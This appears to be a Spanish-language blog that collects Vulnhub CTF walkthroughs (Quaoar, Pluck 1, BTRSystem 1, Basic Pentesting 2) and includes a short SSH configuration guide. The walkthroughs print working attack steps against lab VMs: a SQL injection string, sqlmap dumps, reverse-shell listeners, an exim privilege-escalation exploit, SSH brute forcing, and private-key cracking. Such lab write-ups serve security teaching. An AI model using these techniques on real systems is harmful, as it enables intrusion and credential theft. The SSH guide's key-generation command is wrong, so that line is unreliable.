http://192.168.2.12/INSTALL              (Status: 200) [Size: 1241]
http://192.168.2.12/LICENSE              (Status: 200) [Size: 1672]
http://192.168.2.12/COPYING              (Status: 200) [Size: 35147]
http://192.168.2.12/CHANGELOG            (Status: 200) [Size: 224]
http://192.168.2.12/server-status        (Status: 403) [Size: 293]

 Luego de verificar los directorios que se habían encontrado, la ruta /wordpress tenía una página en WordPress, además se volvió a escanear a partir de la nueva ruta.


$ gobuster dir -u http://192.168.2.12/wordpress/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.12/wordpress/wp-content           (Status: 301) [Size: 327] [--> http://192.168.2.12/wordpress/wp-content/]
http://192.168.2.12/wordpress/license              (Status: 200) [Size: 19930]
http://192.168.2.12/wordpress/wp-includes          (Status: 301) [Size: 328] [--> http://192.168.2.12/wordpress/wp-includes/]
http://192.168.2.12/wordpress/readme               (Status: 200) [Size: 7195]
http://192.168.2.12/wordpress/index                (Status: 301) [Size: 0] [--> http://192.168.2.12/wordpress/index/]
http://192.168.2.12/wordpress/wp-login             (Status: 200) [Size: 2530]
http://192.168.2.12/wordpress/wp-admin             (Status: 301) [Size: 325] [--> http://192.168.2.12/wordpress/wp-admin/]
http://192.168.2.12/wordpress/wp-trackback         (Status: 200) [Size: 135]
http://192.168.2.12/wordpress/xmlrpc               (Status: 200) [Size: 42]
http://192.168.2.12/wordpress/wp-signup            (Status: 302) [Size: 0] [--> /wordpress/wp-login.php?action=register]


Al ir a la ruta /wp-login, se pudo ingresar a partir de una credencial por defecto, ingreso al panel de control, dirigiendo hacia la sección de plug-in, ingreso un script.

Seguido se deja escuchando en un puerto con el comando "nc -lvnp 4567", se acciona el script yendo a la ruta

http://192.168.2.12/wordpress/wp-content/themes/twentyfourteen/404.php

Seguido, se comprueba el ID y se busca el primer flag.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Quaoar:/home/wpadmin$ ls
ls
flag.txt
www-data@Quaoar:/home/wpadmin$ cat flag.txt
cat flag.txt
********************c3c514de796e

Después buscando se encontró dentro de los archivos de wp un archivo con las credenciales de root.
www-data@Quaoar:/var/www/wordpress$ cat wp-config.php
...
define('DB_NAME', 'wordpress');

/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', '**********rd!');

/** MySQL hostname */
define('DB_HOST', 'localhost');
...

Para ingresar con el comando, su root y su respectiva contraseña. La último flag está más difícil de escontrar de manera manual, para solucionarlo con el comando egrep.
root@Quaoar:~# egrep -r " [a-z0-9]{32,32}" /etc/ 2>/dev/null
/etc/alternatives/ghostscript-current/lib/sharp.upp:   1b451b451b451b451b451b451b451b451b451b451b451b451b451b451b451b45
/etc/alternatives/ghostscript-current/lib/dnj750m.upp:   40504a4c204a4f42204e414d45203d20226773220d0a
/etc/alternatives/ghostscript-current/lib/dnj750m.upp:   40504a4c20534554204d4952524f52203d204f4646200a
/etc/alternatives/ghostscript-current/lib/dnj750m.upp:   40504a4c205345542050414c45545445534f55524345203d20534f465457415245200a
/etc/alternatives/ghostscript-current/lib/dnj750m.upp:   40504a4c205345542052454e4445524d4f4445203d20475241595343414c45200a
/etc/alternatives/ghostscript-current/lib/dnj750m.upp:   40504a4c20534554205245534f4c5554494f4e203d2030200a
....

Para finalizar dejo un fragmento de la nota.
"...operating system good job you..."

Muchas gracias a @viper que nos brindó esta VM. Hasta la próxima.

Vulnhub: hackfest2016: Quaoar

martes, 11 de enero de 2022

SSH en servidores remotos


 

SSH 

SSH o Secure Shell, es un protocolo de administración remota que permite a usuarios acceder a servidores remotos a través de Internet con un método de autenticación.


 Configuración

Aquí algunos parámetros más  comunes en la configuración del servicio ssh.

Nota: Lo más recomendable es hacer una copia de seguridad del archivo /etc/ssh/sshd_config antes de ser modificado.

 

#Cambia el puerto por defecto de ssh (22)

Port 9876

#Desabilitar el acceso a root

PermitRootLogin no

#Habilitar acceso con llaves ssh

PubkeyAuthentication yes

#Desabilitar el acceso con contraseña

PasswordAuthentication no

#Limitar el numero de intentos de autenticacion

MaxAuthTries 4

#Limitar el numero de conexiones ssh

MaxSessions 1

#Desabilitar si es necesario aplicaciones graficas a traves de ssh

X11Forwarding no

#imprimir  mas informacion sobre las conexiones ssh

LogLevel VERBOSE

 

 Llaves

Generar una nueva llave

$ ssh user@server -t rsa -b 4095


Enviar la llave a el servidor

$ ssh-copy-id user@server 


Convertir ids_rsa a ppk 

puttygen current_key -o keyname.ppk


Conexion

Conexion a servidor

$ ssh user@server 


Usar otro puerto declarado en el archivo sshd_config

$ ssh user@server  -p otroPuerto


Correr script en un srvidor remoto

$ ssh user@server  script


Comprimir y descargar desde un servidor remoto

$ ssh user@server "tar cvzf - ~/source" > output.tgz


Especificar otra llave ssh para hacer la conexion

$ ssh -i ~.ssh/otraSshPKey


SCP Copiado Seguro

Copiar un archivo desde un servidor remoto a localhost

$ scp user@server:/directory/file.ext local_destination/


Copiar un archivo entre 2 servidores

$ scp user@server:directory/file.ext user@server:/directory

 

Copiar un archivo desde localhost a un servidor remoto

$ scp local/file.ext user@server:/directory

 

usar un puerto especifico declarado en el archivo de configuracion

scp -P port

 

Copiar recursivamente un directorio completo

$ scp -r user@server:/directory local_destination/


Copiar todos los archivos de una carpeta

$ scp -r user@server:/directory/* local_destination/

 

Copiar todos los archivos de una carpeta del servidor al directorio actual

$ scp -r user@server:/directory .

 

Compimir daoe en la red usando gzip

$ scp -C

 

Imprimir toda la inofrmacion sobre la transferencia actual

$ scp -v

sábado, 8 de enero de 2022

CTF Pluck 1 VM

 


Primero se hace el escaneo de puertos
$ sudo nmap -sV -Pn -A -O -oN plunk1 192.168.2.11 
Starting Nmap
Nmap scan report for 192.168.2.11
Host is up (0.00080s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 e887ba3ed74323bf4a6b9dae6314ea71 (RSA)
|   256 8f8cac8de8ccf90e89f75da06c2856fd (ECDSA)
|_  256 18985a5a5c59e125701c371af2c726fe (ED25519)
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pluck
|_http-server-header: Apache/2.4.18 (Ubuntu)
3306/tcp open  mysql   MySQL (unauthorized)
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Se encontraron 3 servicios, el servicio de SSH, http y MySQL. Al revisar el servicio de http se encuentra esto.


 

No había nada en el código fuente, asi que se escaneó las rutas.
$ gobuster dir -u http://192.168.2.11/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
==============================================================================================================================
http://192.168.2.11/images               (Status: 301) [Size: 313] [--> http://192.168.2.11/images/]
http://192.168.2.11/css                  (Status: 301) [Size: 310] [--> http://192.168.2.11/css/]
http://192.168.2.11/js                   (Status: 301) [Size: 309] [--> http://192.168.2.11/js/]
http://192.168.2.11/fonts                (Status: 301) [Size: 312] [--> http://192.168.2.11/fonts/]
http://192.168.2.11/server-status        (Status: 403) [Size: 300]
Progress: 218873 / 220586 (99.22%)


Como parcialmente buscando no encontró nada, le pase como flag extensiones que debía buscar.
$ gobuster dir -u http://192.168.2.11/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,sh,txt,cgi,html,js,css,py
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.11/.html                (Status: 403) [Size: 292]
http://192.168.2.11/.php                 (Status: 403) [Size: 291]
http://192.168.2.11/images               (Status: 301) [Size: 313] [--> http://192.168.2.11/images/]
http://192.168.2.11/index.php            (Status: 200) [Size: 2309]
http://192.168.2.11/about.php            (Status: 200) [Size: 16645]
http://192.168.2.11/contact.php          (Status: 200) [Size: 1081]
http://192.168.2.11/header.php           (Status: 200) [Size: 1569]
http://192.168.2.11/admin.php            (Status: 200) [Size: 2721]
http://192.168.2.11/footer.php           (Status: 200) [Size: 241]
http://192.168.2.11/css                  (Status: 301) [Size: 310] [--> http://192.168.2.11/css/]
http://192.168.2.11/js                   (Status: 301) [Size: 309] [--> http://192.168.2.11/js/]
http://192.168.2.11/fonts                (Status: 301) [Size: 312] [--> http://192.168.2.11/fonts/]
http://192.168.2.11/.php                 (Status: 403) [Size: 291]
http://192.168.2.11/.html                (Status: 403) [Size: 292]


Y no se encontró nada relévente, asi que buscando con más detalle las rutas disponibles, se encontró esto.


Es una vulnerabilidad llamada Local File Inclusion (LFI) o en pocas palabras permite filtrar archivos del sistema navegando a través de la URL.


De esta manera se pudo acceder al archivo de cuenta de usuario, lo más inusual e interesante es lo que dice al final sobre hacer backups más fácil.

 

Aprovechando la vulnerabilidad LFI sea busca el archivo que mencionaba anteriormente. Hay un archivo que se puede acceder a través de tftp.
$ tftp 192.168.2.11
tftp> status
Connected to 192.168.2.11.
Mode: netascii Verbose: off Tracing: off Literal: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> get /backups/backup.tar
tftp> quit

 

Ahora al descomprimirlo se encontró lo siguiente
$ tar -vxf backup.tar
home/
home/bob/
home/bob/.bashrc
home/bob/.sudo_as_admin_successful
home/bob/.profile
home/bob/.bash_logout
home/paul/
home/paul/keys/
home/paul/keys/id_key3.pub
home/paul/keys/id_key2.pub
home/paul/keys/id_key2
home/paul/keys/id_key4.pub
home/paul/keys/id_key5.pub
home/paul/keys/id_key6
home/paul/keys/id_key1
home/paul/keys/id_key5
home/paul/keys/id_key1.pub
home/paul/keys/id_key6.pub
home/paul/keys/id_key4
home/paul/keys/id_key3
home/paul/.bashrc
home/paul/.profile
home/paul/.bash_logout
home/peter/
home/peter/.bashrc
home/peter/.profile
home/peter/.bash_logout
var/www/html/
...


Luego es probar el acceso a las llaves que tiene peter. Al llegar a la cuarta aparece este menú.
$ sudo ssh paul@192.168.2.11 -i id_key4

 

Aparentemente, me da acceso a VIM, asi que se puede intentar saltar la restricción y obtener una shell eligiendo la opción editar file y al ingresar pasarle un parámetro que dará una shell.
:set shell=/bin/bash
:shell

Ahora averiguar una forma de obtener acceso a un usuario.
$ find / -perm -u=s -type f 2>/dev/null
/usr/exim/bin/exim-4.84-7
/usr/bin/passwd
/usr/bin/at
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/newuidmap
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgidmap
/usr/bin/chsh
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/s-nail/s-nail-privsep
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/bin/su
/bin/umount
/bin/mount
/bin/fusermount
/bin/ping
/bin/ntfs-3g


Al parecer exim en la lista, se encuentra vulnerabilidades de exim (exploit), lo siguiente es explotarlo.

$ id                                                                             
uid=1002(paul) gid=1002(paul) groups=1002(paul)                                  
$ cat > /tmp/root.pm << EOF                                                      
> package root;                                                                  
> use strict;                                                                    
> use warnings;                                                                  
> system("/bin/sh");                                                             
> EOF                                                                            
$ PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim-4.84-7 -ps
# id
uid=0(root) gid=1002(paul) groups=1002(paul)

 

Obteniendo el acceso de root, a continuación obtener el flag.
# cd /root
# ls
flag.txt
# cat flag.txt

Congratulations you found the flag

---------------------------------------



Muchas gracias a Ryan Oberto que nos brindó esta VM. Hasta la próxima.

Vulnhub: Pluck 1




sábado, 11 de diciembre de 2021

CTF BTRSystem 1 VM


 

 Esta máquina tiene una particularidad interesante que más adelante se notara, sin más preámbulos comienzo con escanear los puertos.

 $ sudo nmap -sV -Pn -A -O -oN btrs_1 192.168.2.9
Starting Nmap
Nmap scan report for 192.168.2.9
Host is up (0.0010s latency).
Not shown: 997 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.2
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.2.5
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 600
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d618d9ef75d31c29be14b52b1854a9c0 (DSA)
|   2048 ee8c64874439538c24fe9d39a9adeadb (RSA)
|   256 0e66e650cf563b9c678b5f56caae6bf4 (ECDSA)
|_  256 b28be2465ceffddc72f7107e045f2585 (ED25519)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BTRisk
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel


De acuerdo al escaneo, verificaré el servicio FTP con usuario anónimo.
$ ftp -p 192.168.2.9
Connected to 192.168.2.9.
220 (vsFTPd 3.0.2)
Name (---): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||54122|).
150 Here comes the directory listing.
226 Directory send OK.
ftp> bye
221 Goodbye.
 
Al parecer el servicio no se encuentra archivos disponibles. El siguiente servicio es el web, que resulta que está en idioma turco, que es una sorpresa.

 
Con un traductor y un poco de paciencia, ahí dice página principal, revisando el código fuente, no se encontró algo. 


En esta sección se llama sobre nosotros, donde hay un artículo sobre algunas generalidades bastante interesantes (recomiendo, traducirlo y leerlo), aparte de eso no hay pistas. Asi que sigue el escaneo de rutas.
$ gobuster dir -u http://192.168.2.9/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.9/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.9/uploads              (Status: 301) [Size: 311] [--> http://192.168.2.9/uploads/]
http://192.168.2.9/assets               (Status: 301) [Size: 310] [--> http://192.168.2.9/assets/]
http://192.168.2.9/javascript           (Status: 301) [Size: 314] [--> http://192.168.2.9/javascript/]
http://192.168.2.9/server-status        (Status: 403) [Size: 291]
Progress: 220425 / 220586 (99.93%)
===============================================================

Al visitar /uploads, esa ruta solo se encontró un lugar vacío donde aparentemente. Asi que repito la operación, pero añadiendo la bandera que busca también por las extensiones que determine.

$ gobuster dir -u http://192.168.2.9/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  -x php,sh,txt,cgi,html,js,css,py
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.9/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Extensions:              cgi,html,js,css,py,php,sh,txt
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/index.php            (Status: 200) [Size: 758]
http://192.168.2.9/login.php            (Status: 200) [Size: 4561]
http://192.168.2.9/uploads              (Status: 301) [Size: 311] [--> http://192.168.2.9/uploads/]
http://192.168.2.9/assets               (Status: 301) [Size: 310] [--> http://192.168.2.9/assets/]
http://192.168.2.9/javascript           (Status: 301) [Size: 314] [--> http://192.168.2.9/javascript/]
http://192.168.2.9/config.php           (Status: 200) [Size: 2]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/server-status        (Status: 403) [Size: 291]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.php                 (Status: 403) [Size: 282]
http://192.168.2.9/.html                (Status: 403) [Size: 283]
===============================================================

Revisando el login, se encuentra este formulario de Iniciar sesión, donde solicita el Nombre de usuario y la Contraseña.

 

Dentro del formular se encontró un método que hacía la verificación haciendo un par de verificaciones, nada que no es pudiera lograr con burp suit. Utilizando como usuario btrisk.com y como contraseña una delicada infección "a'or1=1;--", redirigiendo a este apartado donde dice Persona Información personal(o algo similar).


Uilizando otra herramienta llamada slq map, para averiguar mas sobre la informacion de este sitio.
$ sqlmap --wizard
Please enter full target URL (-u): http://192.168.2.9/personel.php
POST data (--data) [Enter for None]: kullanici_adi=btrisk.com&parola=btrisk.com
Injection difficulty (--level/--risk). Please choose:3
Enumeration (--banner/--current-user/etc). Please choose:3
...
database management system users [6]:
[*] 'debian-sys-maint'@'localhost'
[*] 'phpmyadmin'@'localhost'
[*] 'root'@'127.0.0.1'
[*] 'root'@'::1'
[*] 'root'@'localhost'
[*] 'root'@'troll'
...
+----+-------+------------+-----------+------------+----------------+-----------------+----------------+
| ID | Parola | AnneAdi | BabaAdi | Ad_Soyad| AnneMeslegi | BabaMeslegi | KardesSayisi | Kullanici_Adi    |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+
| 1  | asd123*** | nazli   | ahmet   | ismail kaya | lokantaci   | muhasebe    | 5            | ikaya@btrisk.com |
| 2  | asd123*** | gulsah  | mahmut  | can demir   | tuhafiyeci  | memur       | 8            | cdmir@btrisk.com |
+----+-----------+---------+---------+-------------+-------------+-------------+--------------+------------------+


Lo mas reveledor es esta tabla llamada ensayo y los campos:

| ID | Contraseña | Nombre_de_la_madre | Nombre_del_padre | Primer_Apellido | Ocupación_de_la_madre | Ocupación_del_padre , Número_del_hermano , Nombre_del_usuario |

 

Conociendo esto se inicio sesion nuevamente con  ikaya@btrisk.com:asd123***

 

Al inspeccionar la página encuentro este comentario sobre las extensiones que permite pasar. Asi que la idea es tomar una reverse shell y en el buen burpsuit cambiarle la extensión por .php. Lo siguiente es pasarle la IP y el puerto que estará escuchando y lanzarlo.
$ nc -lvnp 4567

A continuación, al ir a l aruta /uploads y abrir el archivo, le regresa una conexión al servidor.

USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ python -V
Python 2.7.6
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@BTRsys1:/$

Buscando en varios directorios no encuentre nada, intente hacer su a root 

www-data@BTRsys1:/$ su -l
su -l
Password: asd123***

root@BTRsys1:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@BTRsys1:~#



Muchas gracias a @ismailonderkaya que nos brindó esta VM. Hasta la próxima.

Vulnhub: BTRSystem v1


domingo, 21 de noviembre de 2021

CTF Basic Pentesting 2 VM



 

Primero se escanea los puertos para descubrir los servicios activos

$ sudo nmap -sV -Pn -A -O -oN basic2 192.168.2.6        
Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00049s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h39m58s, deviation: 2h53m12s, median: -1s
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb2-time:
|   date:
|_  start_date: N/A
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time:
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)


Teniendo un servicio habilitado en el puerto 80 en el navegador se comprueba el contenido.

 

En este caso no hay mucha información, asi que se inspecciona el código fuente.


 Hay un comentario haciendo alusión a dev. Bueno ahora a buscar en las rutas de este servicio

$ gobuster dir -u http://192.168.2.6/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.6/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
http://192.168.2.6/development          (Status: 301) [Size: 316] [--> http://192.168.2.6/development/]
http://192.168.2.6/server-status        (Status: 403) [Size: 299]
Progress: 218922 / 220586 (99.25%)
===============================================================

 

Al verificar la ruta, se encontró dos mensajes, dev.txt y j.txt


$ cat j.txt   

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

$ cat dev.txt             

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

 

Estas dan 2 pistas, que j tiene una credencial débil y que tiene han habilitado smb. Con esto lo siguiente es recabar más información sobre smb.

$  sudo nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 192.168.2.6

Starting Nmap
Nmap scan report for 192.168.2.6
Host is up (0.00042s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:xx:xx:xx

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\192.168.2.6\Anonymous:
|     Type: STYPE_DISKTREE
|     Comment:
|     Users: 0
|     Max Users: <unlimited>
|     Path: C:\samba\anonymous
|     Anonymous access: READ/WRITE
|     Current user access: READ/WRITE
|   \\192.168.2.6\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Samba Server 4.3.11-Ubuntu)
|     Users: 1
|     Max Users: <unlimited>
|     Path: C:\tmp
|     Anonymous access: READ/WRITE
|_    Current user access: READ/WRITE

Nmap done: 1 IP address (1 host up) scanned in 1.01 seconds


Se descubrio que se puede acceder con anonymous a smb con un cliente

$ smbclient //192.168.2.6/anonymous
Password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 12:31:20 2018
  ..                                  D        0  Thu Apr 19 12:13:06 2018
  staff.txt                           N      173  Thu Apr 19 12:29:55 2018

                14318640 blocks of size 1024. 11000564 blocks available
smb: \> exit


Con el comando ls se identificó un archivo que se puede descargar.

$ smbget -R smb://192.168.2.6/anonymous   
Password:
Using workgroup WORKGROUP, user aka-linux
smb://192.168.2.6/anonymous/staff.txt                                                                                                                                  
Downloaded 173b in 4 seconds

$ cat staff.txt
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Dentro de este archivo es una nota que se dejaron como recomendación para organizarse entre ellos. Teniendo ahora los nombres de jan y kay, sabiendo que uno de ellos tiene una contraseña débil, hay que explotarla.

hydra -l jan -P /home/.../rockyou.txt -t 16 10.10.218.12 ssh
[22][ssh] host: 192.168.2.6   login: jan   password: armando

Con la contraseña, se inicia sesion con el usuario jan y la contraseña ya se tiene.
$ ssh jan@192.168.2.6           

En el espacio de trabajo de este usuario no hay mayor cosa, asi que buscando se encontró el espacio de kay.
an@basic2:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

Hay un archivo muy interesante llamado pass.bak, pero no se tiene permiso para acceder. El siguiente es la carpeta .ssh.

jan@basic2:/home/kay/.ssh$ ls
authorized_keys  id_rsa  id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75

IoNb/J0q2Pd56EZ23oAaJxLvhuSZ1crRr4ONGUAnKcRxg3+9vn6xcujpzUDuUtlZ
o9dyIEJB4wUZTueBPsmb487RdFVkTOVQrVHty1K2aLy2Lka2Cnfjz8Llv+FMadsN
XRvjw/HRiGcXPY8B7nsA1eiPYrPZHIH3QOFIYlSPMYv79RC65i6frkDSvxXzbdfX
AkAN+3T5FU49AEVKBJtZnLTEBw31mxjv0lLXAqIaX5QfeXMacIQOUWCHATlpVXmN
lG4BaG7cVXs1AmPieflx7uN4RuB9NZS4Zp0lplbCb4UEawX0Tt+VKd6kzh+Bk0aU


Encontrando esta llave privada, solo es copiarla y explotarla.

$ vi id_rsa
$ ssh2john id_rsa > hash.txt

Se uso una utilidad para convertir en un formato que john lo pueda usar para romper la llave.
$ john --wordlist=~/Documentos/rockyou.txt hash.txt  
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
No password hashes left to crack (see FAQ)

                                                                                                                                                                 Como john ya conocia la contraseña, solo se le debe pasar el archivo y la flag --show
$ john hash.txt --show                             
id_rsa:*******

1 password hash cracked, 0 left

Ahora se le da los permisos necesarios para la llave y se ingresa con el usuario kay, el archivo rsa y la contraseña.
$ chmod 0400 id_rsa
$ ssh kay@192.168.2.6 -i id_rsa 

Ahora con el usuario se puede ver el contenido de pass.bak
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$


Luego utilizando esa contraseña para ingresar al usuario root.

kay@basic2:~$ sudo -i
[sudo] password for kay:
root@basic2:~# id
uid=0(root) gid=0(root) groups=0(root)
root@basic2:~# ls
flag.txt

 

A continuación les dejo parte del mensaje.


root@basic2:~# cat flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!

Muchas gracias a Josiah Pierce que nos brindó esta VM. Hasta la próxima.

Vulnhub: Basic Pentesting_2